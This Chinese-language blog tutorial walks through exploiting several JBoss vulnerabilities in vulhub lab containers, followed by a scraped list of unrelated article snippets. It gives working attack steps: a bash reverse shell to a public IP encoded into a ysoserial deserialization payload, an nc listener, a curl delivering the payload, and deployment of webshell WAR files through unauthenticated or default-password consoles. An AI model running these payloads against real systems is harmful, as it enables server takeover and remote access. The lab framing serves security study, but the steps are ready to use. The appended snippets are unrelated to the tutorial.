常见中间件漏洞(三、Jboss合集)
目录
三、Jboss
Jboss介绍
3.1 CVE-2015-7501
漏洞介绍
影响范围
环境搭建
漏洞复现
3.2 CVE-2017-7504
漏洞介绍
影响范围
环境搭建
漏洞复现
3.3 CVE-2017-12149
漏洞简述
漏洞范围
漏洞复现
3.4 Administration Console弱囗令
漏洞描述
影响版本
环境搭建
密码文件
漏洞复现
3.5 低版本JMX Console未授权
漏洞描述
影响范围
环境搭建
漏洞复现
3.6 高版本JMX Console未授权
漏洞描述
影响版本
环境搭建
漏洞复现
三、Jboss
Jboss介绍
JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域JBoss是发展最为迅速应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发这使得JBoss广为流行。
3.1 CVE-2015-7501
Jboss JMXInvokerServlet 反序列化漏洞
漏洞介绍
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象然后我们利用Apache Commons Collections中的 Gadget 执行任意代码
影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0 CP10
JBoss AS (Wildly) 6 and earlierJBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform(SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBOSS BRMS (BRMS) 6.1.0
JBOSS BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server(EWS) 2.1,3.0
环境搭建
cd vulhub/jboss/JMXInvokerServlet-deserializationdocker-compose up -d

漏洞复现
1.POC,访问地址
http://47.99.98.0:8080/invoker/JMXInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞

2.下载 ysoserial 工具进行漏洞利用
https://github.com/frohoff/ysoserial

将反弹shell进行base64编码
bash -i >& /dev/tcp/47.99.98.0/7777 0>&1

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OS45OC4wLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}">exp.ser

3.服务器设置监听得端⼝
nc -lvvp 7777

4.执行命令
curl http://47.99.98.0:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

5.反弹成功

3.2 CVE-2017-7504
JBossMQ JMS 反序列化漏洞
漏洞介绍
JBoSS AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerlLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行
影响范围
JBoss 4.x 以及之前的所有版本
环境搭建
cd vulhub/jboss/CVE-2017-7504docker-compose up -d

漏洞复现
1.访问漏洞地址
http://47.99.98.0:8602/jbossmq-httpil/HTTPServerILServlet

python jexboss.py -u http://47.99.98.0:8602/

3.3 CVE-2017-12149
JBoss 5.x/6.x反序列化漏洞
漏洞简述
该漏洞为 Java反序列化错误类型,存在于 Jboss的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
漏洞范围
JBoss 5.x/6.x
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
1.访问漏洞页面,看jboss版本
http://47.99.98.0:8603/

2.验证是否存在漏洞,访问
http://47.99.98.0:8603/invoker/readonly
该漏洞出现在/invoker/readonly中 ,服务器将用户post请求内容进行反序列化
返回500,说明页面存在,此页面存在反序列化漏洞
3.使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可:工具:
https://github.com/yunxu1/jboss-_CVE-2017-12149

3.4 Administration Console弱囗令
漏洞描述
Administration Console管理页面存在弱口令,`admin:admin`.登陆后台上传war包,getshell
影响版本
全版本
环境搭建
因为这里用的环境是CVE-2017-12149的靶机
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
密码文件
/iboss-6.1.0.Final/server/default/conf/props/imx-console-users.properties
账户密码:admin:vulhub
漏洞复现
http://47.99.98.0:8603/admin-console/login.seam?conversationld=4

1.登录后台,点击web应用
admin vulhub

2.上传后门shell.war

3.连接WebShell
http://47.99.98.0:8603/test/1.jsp

3.5 低版本JMX Console未授权
低版本JMX Console未授权访问Getshell
漏洞描述
此漏洞主要是由于JBoss中/imx-console/HtmIAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到 jmx控制台,并在其中执行任何功能。
影响范围
Jboss4.x以下
环境搭建
cd vulhub/jboss/CVE-2017-7504docker-compose up -d

漏洞复现
1.访问
http://47.99.98.0:8602/jmx-console/

2.这里我们使用得复现环境不存在,所以需要密码(正常环境无需密码直接可进入)
admin admin

3.然后找到jboss.deployment (jboss 自带得部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过URL的方式远程部署)

4.找到页面中的void addURL()选项远程加载war包来部署

5.制作war包,这里用之前制作好的test.war,填写war包远程地址
http://47.99.98.0/test.war

6.然后跳转以下页面

7.webshell连接
http://47.99.98.0:8602/test/1.jsp
pass

3.6 高版本JMX Console未授权
漏洞描述
JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面,通过部署war包,getshell
影响版本
Jboss6.x以下
环境搭建
cd vulhub/jboss/CVE-2017-12149docker-compose up -d

漏洞复现
http://47.99.98.0:8603/jmx-console
因为使用环境不存在该漏洞所以需要输入账户密码:admin vulhub

1.本地搭建部署点
在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下

2.进入service=MainDeployer页面之后,找到methodindex为17或19的deploy 填写远程war包地址进行远程部署

3.搭建远程部署,部署远程war包地址

4.然后输入lnvoke
http://47.99.98.0/test.war

点击Invoke

5.连接Webshel
http://47.99.98.0:8603/test/1.jsp
pass

相关文章:
常见中间件漏洞(三、Jboss合集)
目录 三、Jboss Jboss介绍 3.1 CVE-2015-7501 漏洞介绍 影响范围 环境搭建 漏洞复现 3.2 CVE-2017-7504 漏洞介绍 影响范围 环境搭建 漏洞复现 3.3 CVE-2017-12149 漏洞简述 漏洞范围 漏洞复现 3.4 Administration Console弱囗令 漏洞描述 影响版本 环境搭建…...
ios如何动态添加控件及动画
在ViewController中添加 // // ViewController.m // iosstudy2024 // // Created by figo on 2024/8/5. //#import "ViewController.h"interface ViewController () property (weak, nonatomic) IBOutlet UIButton *xigua; - (IBAction)xigua:(id)sender;endimpl…...
【数学建模】——【A题 信用风险识别问题】全面解析
目录 1.题目 2.解答分析 问题1:指标筛选 1.1 问题背景 1.2 数据预处理 1.3 特征选择方法 1.4 多重共线性检测 1.5 实现步骤 问题2:信用评分模型 2.1 问题背景 2.2 数据分割 2.3 处理不平衡数据 2.4 模型选择与理由 问题3:模型对…...
javascript:检测图片的宽高
1 方案描述 JavaScript提供了非常方便的FileReader和Image对象,可以帮助我们轻松实现这个功能。具体步骤如下: 获取文件输入框:首先,我们需要获取到用户选择的文件。读取文件内容:然后,通过FileReader对象…...
机械学习—零基础学习日志(高数23——无穷小运算)
零基础为了学人工智能,真的开始复习高数 这段时间,把张宇老师讲解考研的第一部分基本全部学习完毕了。 这里把第一部分的内容最后汇总一下。 无穷小运算——吸收律 这里展示一些无穷小的具体计算思路 无穷小运算——计算方法 泰勒展开的原则 夹逼准则…...
一个网络上计算机的通信
一台计算机上多个进程间的通信方式有:管道、共享内存、信号量、消息队列。如果不同的计算机上多个进程间通信,即通信的进程在不同的计算机上,需要用到网络相关的知识。 那么两台计算机通信需要解决哪些问题? 我们来回顾一下计算机…...
C语言基础题:吃冰棍(C语言版)
1.题目描述 机器猫喜欢吃冰棍。 买一根冰棍,吃完了会剩一个木棒;每三个木棒可以兑换一个冰棍。兑换出来的冰棍,吃完之后也能剩下一个木棒。 所以,如果机器猫买了5根冰棍,他可以吃完之后得到5个木棒;拿3个木棒兑换1根冰棍ÿ…...
C++中,vector、deque、list、set、multiset、unordered_set和unordered_multiset容器类的总结
最近用set比较多,复习一下基础。 在C中,vector、deque、list、set、multiset、unordered_set和unordered_multiset都是容器类,但它们有不同的特点和用途。下面是对它们的区别和示例说明: 1. vector 特点: 动态数组,…...
Python处理Redis
操作Redis redis也是基于tcp通信的,所以我们可以直接通过socket来做 Redis通信过程 简单使用 redis-cli.exe -h192.168.56.188 auth 123456 set name myredis get name lindex students 0 # 查看students列的第一条数据核心协议体 *2 # 表示下述的指令由2个字符…...
nodejs多版本随心切换-windows
nodejs多版本控制 1. 安装 nvm github下载地址 不需要卸载已安装的nodejs,安装时会让你选择nodejs的位置,可修改为你已经安装的路径,会自动搜索已安装版本,并进行弹窗询问,选择托管即可 2. 修改配置文件 在 nvm 安装…...
json文件格式
json文件格式 格式介绍1格式介绍2格式3 格式介绍1 格式介绍2 格式3 参考地址...
日撸Java三百行(day15:栈的应用之括号匹配)
目录 一、栈的括号匹配 二、代码实现 1.方法创建 2.数据测试 3.完整的程序代码 总结 一、栈的括号匹配 要完成今天的任务,需要先来了解一下什么是栈的括号匹配。首先,顾名思义,括号匹配就是指将一对括号匹配起来,我们给定一…...
Oracle-OracleConnector
提示:OracleConnector 类是 Debezium 中用于与 Oracle 数据库交互的一个连接器组件 文章目录 前言一、核心功能二、代码分析总结 前言 提示:OracleConnector 类负责配置、启动、管理和验证与 Oracle 数据库的连接,并为后续的数据捕获任务准备…...
『 Linux 』线程池与 POSIX 线程的封装编码实现
文章目录 线程池概念线程池的编码实现线程池的测试参考代码 线程的封装使用测试封装后的线程参考代码 线程池概念 池化技术是一种资源管理方法,通过预先创建和管理一组资源以便在需要使用时快速分配这些资源; 线程池是池化技术的一种典型应用; 资源分配 在线程池中预先创建一定…...
【C++】————哈希表
作者主页: 作者主页 本篇博客专栏:C 创作时间 :2024年8月6日 前言: 在计算机科学的广袤世界中,数据结构犹如基石,支撑着各种高效算法的构建与运行。而哈希表(Hash Table)&#…...
前端学习AI历程
AI基本概念tensorflow入门conda搭建环境,pycham使用训练自己的第一个模型AI目前前端方便入手的几个方向 素材图片库图像识别,在线学习低代码应用智能客服 获取数据集 roboflowkagglecocomakesense(用于打标) 认识yolo两个简单小应…...
常见中间件漏洞复现之【Tomcat】!
Tomcat介绍 tomcat是⼀个开源⽽且免费的jsp服务器,默认端⼝ : 8080,属于轻量级应⽤服务器。它可以实现 JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的⼀款环境。 在历史上也披露出来了很多的漏洞 …...
C++并发编程(一):线程基础
简介 本文学习的是 b 站 up 恋恋风辰的并发编程教学视频做的一些笔记补充。 教程视频链接如下:线程基础:视频教程 文档链接如下:线程基础:笔记文档 理论上直接看 up 提供的笔记文档即可,我这里主要是记录一些我自己…...
enq: HW - contention事件来啦
业务系统反应数据库慢,根据时间查看awr报告。 先看一眼事件名称 HW enqueue 用于序列化超出段高水位线的空间分配。如果同时向对象添加大量数据,则多个进程可能同时尝试在高水位线上方分配空间,从而导致争用。 既然是控制资源并发的enq&…...
MyBatis补充
控制类和dao层接口以及mapper中的xml是怎样的关联的? 在Mybatis中,控制类和dao层接口是通过mapper的xml文件进行连接的。 控制类调用dao层接口中的方法,通过接口实现进行访问数据库操作。dao层接口定义数据库操作的方法,提供给控制…...
iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘
美国西海岸的夏天,再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至,这不仅是开发者的盛宴,更是全球数亿苹果用户翘首以盼的科技春晚。今年,苹果依旧为我们带来了全家桶式的系统更新,包括 iOS 26、iPadOS 26…...
微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...
云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地
借阿里云中企出海大会的东风,以**「云启出海,智联未来|打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办,现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...
基于Flask实现的医疗保险欺诈识别监测模型
基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施,由雇主和个人按一定比例缴纳保险费,建立社会医疗保险基金,支付雇员医疗费用的一种医疗保险制度, 它是促进社会文明和进步的…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...
爬虫基础学习day2
# 爬虫设计领域 工商:企查查、天眼查短视频:抖音、快手、西瓜 ---> 飞瓜电商:京东、淘宝、聚美优品、亚马逊 ---> 分析店铺经营决策标题、排名航空:抓取所有航空公司价格 ---> 去哪儿自媒体:采集自媒体数据进…...
Caliper 配置文件解析:config.yaml
Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...
如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...
九天毕昇深度学习平台 | 如何安装库?
pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子: 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...
